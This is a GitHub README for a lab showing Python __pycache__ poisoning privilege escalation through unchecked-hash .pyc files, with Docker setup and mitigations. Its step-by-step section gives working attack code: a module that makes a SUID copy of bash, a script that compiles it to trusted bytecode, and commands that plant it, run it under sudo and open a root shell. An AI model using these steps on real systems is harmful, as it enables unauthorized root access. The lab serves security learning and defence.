Skip to content

A privilege escalation technique that abuses Python’s unchecked-hash bytecode caching mechanism to execute attacker-controlled .pyc files with elevated privileges when a writable __pycache__ directory is trusted by a root-executed Python process.

Notifications You must be signed in to change notification settings

dollarboysushil/Python-__pycache__-Poisoning-Privilege-Escalation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 

Repository files navigation

Python __pycache__ Poisoning Privilege Escalation (UNCHECKED_HASH)

1. Explanation

What is this method?

Python automatically compiles imported modules into bytecode (.pyc) files and stores them inside a __pycache__ directory.
When a Python script imports a module, Python loads .pyc files if they are present and considered valid for the interpreter version and invalidation mode..

Starting from PEP 552, Python introduced multiple bytecode invalidation modes. One of them is UNCHECKED_HASH, where Python does not verify whether the bytecode matches the source file at runtime.

If an attacker can:

  • Write to a __pycache__ directory
  • Influence which module is imported
  • Trigger execution of the Python program with elevated privileges

they can execute arbitrary bytecode as root.


Requirements

  • sudo permission to execute a Python script as root
  • World-writable or attacker-writable __pycache__ directory
  • Knowledge of the Python version used (for correct .pyc naming)
  • Ability to place a malicious .pyc file

Impact

  • Full root privilege escalation
  • No kernel exploit required
  • Works even if source code is later deleted or modified
  • Difficult to detect via traditional monitoring

Why this is dangerous

.pyc files are executable code, not harmless cache artifacts.
Insecure permissions turn Python’s performance feature into a privilege escalation vector.


2. Lab Setup Using Docker

This lab is intentionally vulnerable and designed for learning purposes.

Build the lab

docker build -t pycache-privesc-lab .

Run the container

docker run -it --rm pycache-privesc-lab

Users inside the lab

  • root
  • dollarboysushil (low-privileged user)

The user dollarboysushil can run a Python script as root using sudo.


Verify sudo permissions

sudo -l

alt text

Expected output:

(root) NOPASSWD: /usr/bin/python3.12 /opt/pycache-lab/runner.py

3. Exploitation (Step-by-Step)

Step 1: Identify the import

Inspect the privileged script:

cat /opt/pycache-lab/runner.py

alt text

You will see an imported module:

from helper_module import do_work

Step 2: Check permissions on pycache

ls -la /opt/pycache-lab/__pycache__

If writable, exploitation is possible.

alt text


Step 3: Create malicious module (helper_module.py)

import os

def do_work():
    os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")

alt text


Step 4: Compile unchecked bytecode

import py_compile
from py_compile import PycInvalidationMode

py_compile.compile(
    "helper_module.py",
    cfile="helper_module.cpython-312.pyc",
    invalidation_mode=PycInvalidationMode.UNCHECKED_HASH
)

print("[+] Unchecked-hash pyc generated successfully")

Purpose of this Code (High-level)

This snippet compiles a Python source file into bytecode (.pyc) in a way that tells Python:

“Trust this bytecode forever. Do not check whether the source file matches it.” That’s exactly what makes __pycache__ poisoning possible.

alt text

Generating malicious pyc file

python3.12 compile_pyc.py

alt text


Step 5: Poison the __pycache__

cp helper_module.cpython-312.pyc /opt/pycache-lab/__pycache__/

alt text


Step 6: Trigger root execution

sudo /usr/bin/python3.12 /opt/pycache-lab/runner.py

alt text


Step 7: Gain root shell

/tmp/rootbash -p

alt text


4. Remedies and Mitigations

  • Never allow __pycache__ directories to be writable by non-root users
  • Avoid running Python scripts with sudo
  • Use python -B to disable bytecode generation
  • Enforce strict file permissions on application directories
  • Monitor for unexpected .pyc files
  • Use virtual environments with controlled ownership

Final Notes

This vulnerability is a logic and configuration flaw, not a Python bug.
It highlights how small permission mistakes can completely undermine system security.


Author:
Sushil Poudel
Red Team / Offensive Security

About

A privilege escalation technique that abuses Python’s unchecked-hash bytecode caching mechanism to execute attacker-controlled .pyc files with elevated privileges when a writable __pycache__ directory is trusted by a root-executed Python process.

Topics

Resources

Stars

Watchers

Forks